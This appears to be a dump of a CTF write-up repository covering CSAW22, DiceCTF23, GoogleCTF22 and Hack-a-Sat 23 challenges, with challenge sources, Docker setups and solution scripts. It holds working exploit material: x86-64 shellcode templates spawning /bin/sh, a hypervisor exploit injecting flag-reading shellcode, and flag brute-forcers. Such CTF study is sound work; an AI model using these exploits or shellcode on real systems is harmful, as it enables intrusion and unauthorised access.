8 | WORKDIR /home/ctf
9 |
10 | RUN cp -R /lib* /home/ctf && \
11 | mkdir /home/ctf/usr && \
12 | cp -R /usr/lib* /home/ctf/usr
13 |
14 |
15 | RUN mkdir /home/ctf/dev && \
16 | mknod /home/ctf/dev/null c 1 3 && \
17 | mknod /home/ctf/dev/zero c 1 5 && \
18 | mknod /home/ctf/dev/random c 1 8 && \
19 | mknod /home/ctf/dev/urandom c 1 9 && \
20 | chmod 666 /home/ctf/dev/*
21 |
22 | RUN mkdir /home/ctf/bin && \
23 | cp /bin/sh /home/ctf/bin && \
24 | cp /bin/ls /home/ctf/bin && \
25 | cp /bin/cat /home/ctf/bin && \
26 | cp /usr/bin/timeout /home/ctf/bin
27 |
28 | COPY ./start.sh /start.sh
29 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail
30 |
31 | RUN chmod +x /start.sh
32 |
33 |
34 | CMD ["/start.sh"]
35 |
36 | EXPOSE 9999
37 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/README.md:
--------------------------------------------------------------------------------
1 | # Setup
2 |
3 | How to run the challenge locally:
4 | - `docker compose build`
5 | - `docker compose up`
6 |
7 | How to interact the challenge locally:
8 | - `docker ps -a` to show all running containers
9 | - `docker exec -it public-ctf-1 bash` to interact with the container shell
10 |
11 |
12 | # Your Tasks
13 |
14 | I would provide the skeleton code for the exploiting script.
15 |
16 | Your task is to read the hints in the script and complete the script.
17 |
18 | # Debug
19 | You can debug on your container, or you can use mine:
20 |
21 | `docker pull n132/pwn:22.04` (I installed the tools with [this script][1])
22 |
23 | After pull-ing the image, you can run the container with this cmd:
24 | `docker run --privileged -it n132/pwn:22.04 zsh`
25 |
26 | Then, you shall copy the vulnerable file to the container from the host, whose ID can be found by `docker ps -a`.
27 |
28 | Run these commands on your host to perform copy:
29 |
30 | ```sh
31 | docker cp ./bin/exp.py {Container ID}:/
32 | docker cp ./bin/chal1 {Container ID}:/
33 | ```
34 |
35 | Now we can debug the binary on your container by running `python3 exp.py`. Please don't forget to run `tmux` before debugging.
36 |
37 | You can also find more cmds on this page: `https://docs.docker.com/engine/reference/commandline/docker/`.
38 |
39 | # Debug with GDB
40 |
41 | This [article][2] would help you to debug with GDB.
42 |
43 |
44 |
45 | [1]: https://github.com/n132/CTF-Challenges/blob/main/Enviroment/Docker/Ubuntu22.04.sh
46 | [2]: https://n132.github.io/2018/03/06/Debug_With_GDB.html
47 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/all/chal1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/public/bin/all/chal1
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/all/chal2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/public/bin/all/chal2
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/all/chal3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/public/bin/all/chal3
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/all/chal4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/public/bin/all/chal4
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/chal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/public/bin/chal
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/exp.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | context.log_level='debug'
3 | p = process("./chal1")
4 | # p = remote("127.0.0.1", 60001)
5 | context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
6 | gdb.attach(p) # attach to debug, don't forget to run "tmux" before running the script
7 | # Tip: In x64,
8 | # rdi/rsi/rdx is the register to store the first/second/third parameter of a syscall
9 | # rax is the syscall number, for example `mov rax,0 ; syscall` means calling read
10 | # Also, the return value would be stored at rax
11 |
12 | # There is a template of syscall(v1,v2,0,0)
13 | # You can check all Linux x64 syscalls at this page: https://syscalls64.paolostivanin.com/
14 | # Your task is understanding and completing the shellcode
15 |
16 | # And our goal is running exec("/bin/sh",0,0) to get a shell
17 | # Make sure to hexify the arguments for shellcode!
18 |
19 | v1 = ?
20 | v2 = ?
21 |
22 | context.arch = 'amd64'
23 |
24 | shellcode = f'''
25 | xor rax, rax
26 | xor rdi, rdi
27 | xor rsi, rsi
28 | xor rdx, rdx
29 | mov rax, {v1}
30 | mov rdi, {v2}
31 | push rdi
32 | mov rdi, rsp
33 | syscall
34 | '''
35 |
36 | p.sendlineafter(": \n",asm(shellcode).ljust(0x100,b'\0'))
37 |
38 | p.interactive()
39 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/flag:
--------------------------------------------------------------------------------
1 | flag{this_is_a_fake_flag}
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/logo:
--------------------------------------------------------------------------------
1 | oooo .oooo.
2 | `888 .dP""Y88b
3 | 888 .oo. .ooooo. oooo oooo ooo ]8P' oo.ooooo. oooo oooo ooo ooo. .oo.
4 | 888P"Y88b d88' `88b `88. `88. .8' .d8P' 888' `88b `88. `88. .8' `888P"Y88b
5 | 888 888 888 888 `88..]88..8' .dP' 888 888 `88..]88..8' 888 888
6 | 888 888 888 888 `888'`888' .oP .o 888 888 `888'`888' 888 888
7 | o888o o888o `Y8bod8P' `8' `8' 8888888888 888bod8P' `8' `8' o888o o888o
8 | 888
9 | o888o
10 |
11 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/bin/start.sh:
--------------------------------------------------------------------------------
1 | cd ./run; cat ./logo ; timeout 120 ./chal
2 |
3 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/ctf.xinetd:
--------------------------------------------------------------------------------
1 | service ctf
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = root
8 | type = UNLISTED
9 | port = 9999
10 | bind = 0.0.0.0
11 | server = /usr/sbin/chroot
12 | # replace helloworld to your program
13 | server_args = --userspec=1000:1000 /home/ctf ./run/start.sh
14 | banner_fail = /etc/banner_fail
15 | # safety options
16 | per_source = 10 # the maximum instances of this service per source IP address
17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
18 | #rlimit_as = 1024M # the Address Space resource limit for the service
19 | #access_times = 2:00-9:00 12:00-24:00
20 | }
21 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.9'
2 |
3 | services:
4 | ctf:
5 | build: ./
6 | image: ctf
7 | volumes:
8 | - "./bin:/home/ctf/run:ro"
9 | - "./ctf.xinetd:/etc/xinetd.d/ctf:ro"
10 | - "./tmp:/tmp:ro"
11 | ports:
12 | - "60001:9999"
13 | expose:
14 | - "9999"
15 | pids_limit: 1024
16 | cpus: 0.5
17 | restart: unless-stopped
18 | privileged: true
19 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/src/chal1.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | void init(){
4 | // Set stdin/stdout unbuffered
5 | // So folks would not have io(input/output) issues
6 | fclose(stderr);
7 | setvbuf(stdin, 0, 2, 0);
8 | setvbuf(stdout, 0, 2, 0);
9 | }
10 | int main(){
11 | init();
12 | // A buffer is created to store your shellcode
13 | char buf[0x100];
14 | puts("Enter your shellcode: ");
15 | read(0, buf, 0x100);
16 | // A functioner point is defined and points to the buffer.
17 | void (* p )();
18 | p = (void (*)()) buf;
19 | // Let's run the shellcode
20 | p();
21 | return 0;
22 | }
23 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/src/chal2.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | void panic(char *s){
8 | puts(s);
9 | _exit(1);
10 | }
11 | void checkin(){
12 | // Solved the previous challenge, and find the ticket in "/flag"
13 | char real_ticket[0x30] = {0};
14 | char your_ticket[0x30] = {0};
15 | int f = open("./ticket",0);
16 | if(f<0)
17 | panic("[-] Fail to open tickect");
18 | read(f,real_ticket,0x20);
19 | read(0,your_ticket,0x20);
20 | close(f);
21 | if(strncmp(real_ticket,your_ticket,0x20))
22 | panic("[-] Wrong Ticket");
23 | return ;
24 | }
25 | void init(){
26 | fclose(stderr);
27 | setvbuf(stdin, 0, 2, 0);
28 | setvbuf(stdout, 0, 2, 0);
29 | checkin();
30 | }
31 | int main(){
32 | init();
33 | char buf[0x100];
34 | puts("Enter your shellcode: ");
35 | read(0, buf, 0x10);
36 | // Sorry I am too lazy to type an additional "0"
37 | void (* p )();
38 | p = (void (*)())buf;
39 | p();
40 | return 0;
41 | }
42 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # Add your startup script
3 |
4 | # DO NOT DELETE
5 | /etc/init.d/xinetd start;
6 | sleep infinity;
7 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-after.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-after.png
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-after2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-after2.png
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-before.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-before.png
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-before2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-before2.png
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-ss-call-rdx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-quals/pwn/how2pwn/writeup-resources/chal2-ss-call-rdx.png
--------------------------------------------------------------------------------
/diceCTF23/misc/mlog/resources/chatgpt-output.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/misc/mlog/resources/chatgpt-output.png
--------------------------------------------------------------------------------
/diceCTF23/misc/mlog/resources/chatgpt-prompt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/misc/mlog/resources/chatgpt-prompt.png
--------------------------------------------------------------------------------
/diceCTF23/misc/mlog/resources/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/misc/mlog/resources/flag.png
--------------------------------------------------------------------------------
/diceCTF23/misc/mlog/resources/playground-flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/misc/mlog/resources/playground-flag.png
--------------------------------------------------------------------------------
/diceCTF23/misc/mlog/resources/prompt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/misc/mlog/resources/prompt.png
--------------------------------------------------------------------------------
/diceCTF23/misc/mlog/resources/sample-input.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/misc/mlog/resources/sample-input.png
--------------------------------------------------------------------------------
/diceCTF23/misc/mlog/src/mlog.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/misc/mlog/src/mlog.tar.gz
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/solution/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # directory initramfs/ contains the extracted initramfs.cpio.gz
3 |
4 | set -e
5 | gcc -static main.c -o main
6 | mv main initramfs
7 |
8 | cd initramfs
9 | find . -print0 | cpio --null --create --verbose --format=newc | gzip --best > ../initramfs_patched.cpio.gz
10 | cd -
11 |
12 | cp initramfs_patched.cpio.gz /mnt/vm-tmp-shared/tmp-upload/initramfs_patched.cpio.gz
13 | # http://80.113.228.215:53023/initramfs_patched.cpio.gz
14 |
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/solution/gen-shellcode.py:
--------------------------------------------------------------------------------
1 |
2 | from pwn import *
3 |
4 | # Set up pwntools for the correct architecture. See `context.binary/arch/bits/endianness` for more
5 | context.binary = elfexe = ELF('./dicer-visor')
6 |
7 | def dumpShellcode(shellcode):
8 | shellcode_str = ''
9 | for b in shellcode:
10 | shellcode_str += "\\x{:02x}".format(b)
11 | msg = f'const char *shellcode = "{shellcode_str}";\n'
12 | msg += f'const size_t shellcode_len = {len(shellcode)};'
13 | print(msg)
14 |
15 | shellcode = b''
16 | shellcode += asm(
17 | '''
18 | xor rdx, rdx /* O_RDONLY */
19 | ''' +
20 | pwnlib.shellcraft.linux.cat("flag.txt")
21 | )
22 | dumpShellcode(shellcode)
23 |
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/solution/init:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | #mount -t proc none /proc
4 | #mount -t sysfs none /sys
5 | #mount -t debugfs none /sys/kernel/debug
6 |
7 | echo 1 > /sys/module/rcutree/parameters/rcu_cpu_stall_suppress
8 |
9 | echo "Hello kernel world!"
10 |
11 | /sbin/insmod /vuln.ko
12 | mknod /dev/exploited-device c 32 0
13 | chmod ugo+x /main
14 |
15 | exec /main
16 |
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/solution/initramfs_patched.cpio.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/pwn/dice-visor/solution/initramfs_patched.cpio.gz
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/solution/main.c:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | const char *shellcode = "\x48\x31\xd2\x6a\x01\xfe\x0c\x24\x48\xb8\x66\x6c\x61\x67\x2e\x74\x78\x74\x50\x6a\x02\x58\x48\x89\xe7\x31\xf6\x0f\x05\x41\xba\xff\xff\xff\x7f\x48\x89\xc6\x6a\x28\x58\x6a\x01\x5f\x99\x0f\x05";
11 | const size_t shellcode_len = 47;
12 |
13 | int main(int argc, char ** argv) {
14 | printf("Hello World!\n");
15 |
16 | int fd = open("/dev/exploited-device", O_RDWR);
17 | if(fd == -1) {
18 | perror("open");
19 | exit(1);
20 | }
21 |
22 | ssize_t res = write(fd, shellcode, shellcode_len);
23 | if(res != shellcode_len) {
24 | printf("write error. Written: %ld\n", res);
25 | exit(1);
26 | }
27 | res = ioctl(fd, 0xdead); //write shellcode to supervisor
28 | if (res<0) {
29 | perror("ioctl1");
30 | exit(1);
31 | }
32 | res = ioctl(fd, 0xbeef); //invoke shellcode
33 | if (res<0) {
34 | perror("ioctl2");
35 | exit(1);
36 | }
37 |
38 | return 0;
39 | }
40 |
41 | //dice{dicer-visor-rules}
42 |
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/src/bzImage:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/pwn/dice-visor/src/bzImage
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/src/dicer-visor:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/pwn/dice-visor/src/dicer-visor
--------------------------------------------------------------------------------
/diceCTF23/pwn/dice-visor/src/initramfs.cpio.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/pwn/dice-visor/src/initramfs.cpio.gz
--------------------------------------------------------------------------------
/diceCTF23/rev/not-baby-parallelism/solution.py:
--------------------------------------------------------------------------------
1 |
2 | import string
3 | import os
4 | import sys
5 |
6 | FLAG_LEN = 51
7 | IF_NAME = 'generated_input.txt'
8 | OF_NAME = "output.txt"
9 | prefix = 'dice{'
10 |
11 | def readOutput(OF_NAME):
12 | res = []
13 | with open(OF_NAME) as f:
14 | for _ in range(FLAG_LEN):
15 | num = int(f.readline().strip())
16 | res.append(num)
17 | assert(len(res) == FLAG_LEN)
18 | return res
19 | expected_flag = readOutput("src/flag.out")
20 | # print(expected_flag)
21 |
22 | while len(prefix) < FLAG_LEN:
23 | print(f"Current prefix: {prefix}")
24 | alphabet = string.printable
25 | guess_found = False
26 | for g in alphabet:
27 | flag = prefix + g + 'A'*(FLAG_LEN-len(prefix)-1-1) + '}'
28 | assert(len(flag) == FLAG_LEN)
29 | with open(IF_NAME, 'w') as f:
30 | f.write(f'{FLAG_LEN}\n')
31 | for c in flag:
32 | f.write(f'{ord(c)}\n')
33 | os.system(f'./src/pppp -n 1 -i {IF_NAME} -o {OF_NAME} > /dev/null')
34 | output = readOutput(OF_NAME)
35 | guess_idx = len(prefix)
36 | if expected_flag[:guess_idx+1] == output[:guess_idx+1]:
37 | print(f"It is a match! char: {g}")
38 | guess_found = True
39 | prefix += g
40 | break
41 |
42 | if not guess_found:
43 | print("No guess found!")
44 | sys.exit(1)
45 |
46 | if len(prefix) == FLAG_LEN-1:
47 | prefix += '}'
48 | break
49 |
50 | print(f"\nFlag: {prefix}")
51 | # dice{p4r411el_pref1x_sc4ns_w0rk_efficient_but_sl0w}
52 |
--------------------------------------------------------------------------------
/diceCTF23/rev/not-baby-parallelism/src/flag.out:
--------------------------------------------------------------------------------
1 | 100
2 | 13
3 | 110
4 | 19
5 | 104
6 | 30
7 | 42
8 | 1539
9 | 1591
10 | 1544
11 | 1593
12 | 136971
13 | 137063
14 | 137022
15 | 137038
16 | 5230
17 | 5131
18 | 5233
19 | 5184
20 | 397480
21 | 397559
22 | 397524
23 | 397495
24 | 12938
25 | 13028
26 | 12967
27 | 13048
28 | 892722
29 | 892674
30 | 892788
31 | 892703
32 | 19864
33 | 19965
34 | 19867
35 | 19965
36 | 357552
37 | 357587
38 | 357562
39 | 357599
40 | 19682
41 | 19606
42 | 19725
43 | 19823
44 | 1299012
45 | 1298992
46 | 1299055
47 | 1298972
48 | 24582
49 | 24630
50 | 24653
51 | 24624
52 |
--------------------------------------------------------------------------------
/diceCTF23/rev/not-baby-parallelism/src/pppp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/rev/not-baby-parallelism/src/pppp
--------------------------------------------------------------------------------
/diceCTF23/rev/parallelism/resources/gdb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/rev/parallelism/resources/gdb.png
--------------------------------------------------------------------------------
/diceCTF23/rev/parallelism/resources/memcmp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/rev/parallelism/resources/memcmp.png
--------------------------------------------------------------------------------
/diceCTF23/rev/parallelism/resources/ready-to-attach.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/rev/parallelism/resources/ready-to-attach.png
--------------------------------------------------------------------------------
/diceCTF23/rev/parallelism/resources/run.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/rev/parallelism/resources/run.png
--------------------------------------------------------------------------------
/diceCTF23/rev/parallelism/src/parallelism:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/diceCTF23/rev/parallelism/src/parallelism
--------------------------------------------------------------------------------
/diceCTF23/rev/time-travel/solution.py:
--------------------------------------------------------------------------------
1 |
2 | import struct
3 | import numpy as np
4 | from ctypes import *
5 |
6 |
7 | with open("input.bin", 'rb') as f:
8 | data = f.read()
9 | assert(len(data) == 0x28a04)
10 |
11 | flag = ''
12 | N = struct.unpack("
4 | #include //MAP_UNINITIALIZED
5 | #include
6 | #include
7 | #include
8 |
9 | #include
10 | #include
11 | #include
12 |
13 | void test1() {
14 | void *res = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
15 | assert(res);
16 |
17 | printf("mmaped at %p\n", res);
18 | memset(res, 0x41, 0x1000);
19 |
20 | void *overlap = mmap(res, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED|MAP_UNINITIALIZED, -1, 0);
21 | printf("overlap: %p\n", overlap);
22 |
23 | /*
24 | * Hypothesis: Remapping at the same area might keep the previous contents
25 | * Result: This did not happen
26 | */
27 | }
28 |
29 | void test2() {
30 | struct stat mybuf;
31 |
32 | void *res = mmap(NULL, 0x1000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
33 | assert(res);
34 |
35 | //CWD contains "test" file (aka this binary)
36 | int syscall_res;
37 | syscall_res = stat("test", &mybuf);
38 | printf("Valid syscall result: %d\n", syscall_res);
39 |
40 | syscall_res = stat("test", res);
41 | printf("Invalid syscall result: %d\n", syscall_res);
42 |
43 | /*
44 | * Hypothesis stat(const char *pathname, struct stat *statbuf); with a valid pathname and a PROT_NONE statbuf might be our side-channel
45 | * Result: This WORKS!
46 | * Valid syscall result: 0
47 | * Invalid syscall result: -1
48 | */
49 | }
50 |
51 | int main() {
52 | test2();
53 | return 0;
54 | }
55 |
--------------------------------------------------------------------------------
/googleCTF22/misc/appnote/resources/2551253642bde3066e55c9cc8e9b0b4aa77feadc00c81032da778e6f7c89907135dfc2611fd8617204720dbfadb31429ae11f6ecd202887f4ce99f2f53a3c5e8.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/googleCTF22/misc/appnote/resources/2551253642bde3066e55c9cc8e9b0b4aa77feadc00c81032da778e6f7c89907135dfc2611fd8617204720dbfadb31429ae11f6ecd202887f4ce99f2f53a3c5e8.zip
--------------------------------------------------------------------------------
/googleCTF22/misc/appnote/resources/detailed-offsets.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/googleCTF22/misc/appnote/resources/detailed-offsets.png
--------------------------------------------------------------------------------
/googleCTF22/misc/appnote/resources/overview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/googleCTF22/misc/appnote/resources/overview.png
--------------------------------------------------------------------------------
/googleCTF22/misc/appnote/src/dump.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/googleCTF22/misc/appnote/src/dump.zip
--------------------------------------------------------------------------------
/googleCTF22/sandbox/treebox/resources/17f98f8c9c9f8089ab3a35e94de752582253c3784637fe6ef6a561c12b817fcd7acf05a4573bff2cd43247f8e5263200aa29745605ae2719de774160bb21e301.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/googleCTF22/sandbox/treebox/resources/17f98f8c9c9f8089ab3a35e94de752582253c3784637fe6ef6a561c12b817fcd7acf05a4573bff2cd43247f8e5263200aa29745605ae2719de774160bb21e301.zip
--------------------------------------------------------------------------------
/googleCTF22/sandbox/treebox/src/.python-version:
--------------------------------------------------------------------------------
1 | 3.10.4
2 |
--------------------------------------------------------------------------------
/googleCTF22/sandbox/treebox/src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 | RUN apt-get update && apt-get install python3 python3-pip -yy
3 | RUN pip install ipython
4 |
5 | COPY treebox.py /home/treebox.py
6 | COPY flag /home/flag
7 |
8 | WORKDIR /home
9 | CMD "/bin/bash"
10 |
--------------------------------------------------------------------------------
/googleCTF22/sandbox/treebox/src/flag:
--------------------------------------------------------------------------------
1 | CTF{CzeresniaTopolaForsycja}
--------------------------------------------------------------------------------
/googleCTF22/sandbox/treebox/src/treebox.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3 -u
2 | #
3 | # Flag is in a file called "flag" in cwd.
4 | #
5 | # Quote from Dockerfile:
6 | # FROM ubuntu:22.04
7 | # RUN apt-get update && apt-get install -y python3
8 | #
9 | import ast
10 | import sys
11 | import os
12 |
13 | def verify_secure(m):
14 | for x in ast.walk(m):
15 | match type(x):
16 | case (ast.Import|ast.ImportFrom|ast.Call):
17 | print(f"ERROR: Banned statement {x}")
18 | return False
19 | return True
20 |
21 | abspath = os.path.abspath(__file__)
22 | dname = os.path.dirname(abspath)
23 | os.chdir(dname)
24 |
25 | print("-- Please enter code (last line must contain only --END)")
26 | source_code = ""
27 | while True:
28 | line = sys.stdin.readline()
29 | if line.startswith("--END"):
30 | break
31 | source_code += line
32 |
33 | tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
34 | if verify_secure(tree): # Safe to execute!
35 | print("-- Executing safe code:")
36 | compiled = compile(source_code, "input.py", 'exec')
37 | exec(compiled)
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/gdb-multiarch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/gdb-multiarch.png
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/pwntools-gdb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/pwntools-gdb.png
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/riscv-datatypes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/riscv-datatypes.png
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/riscv-registers.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/hack-a-sat-23/pwn/RISC-V-Smash-Baby/resources/riscv-registers.png
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/src/minimal-template.py:
--------------------------------------------------------------------------------
1 | # minimal-template.py
2 | # A minimal custom template for binary exploitation that uses pwntools.
3 | # Run:
4 | # python minimal-template.py [DEBUG] [GDB]
5 | from pwn import *
6 |
7 | # Set up pwntools for the correct architecture. See `context.binary/arch/bits/endianness` for more
8 | context.binary = elfexe = ELF('./smash-baby')
9 | print(context)
10 |
11 | def start(argv=[], *a, **kw):
12 | '''Start the exploit against the target.'''
13 | if args.GDB:
14 | return gdb.debug([elfexe.path] + argv, gdbscript, elfexe.path, *a, *kw)
15 | else:
16 | target = process([elfexe.path] + argv, *a, **kw)
17 | return target
18 |
19 | # Specify your gdb script here for debugging. gdb will be launched the GDB argument is given.
20 | gdbscript = '''
21 | # init-gef
22 | # continue
23 | '''.format(**locals())
24 |
25 | arguments = []
26 | io = start(arguments)
27 | io.interactive()
28 | io.close()
29 |
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/src/qemu-riscv:
--------------------------------------------------------------------------------
1 | /usr/bin/qemu-riscv32
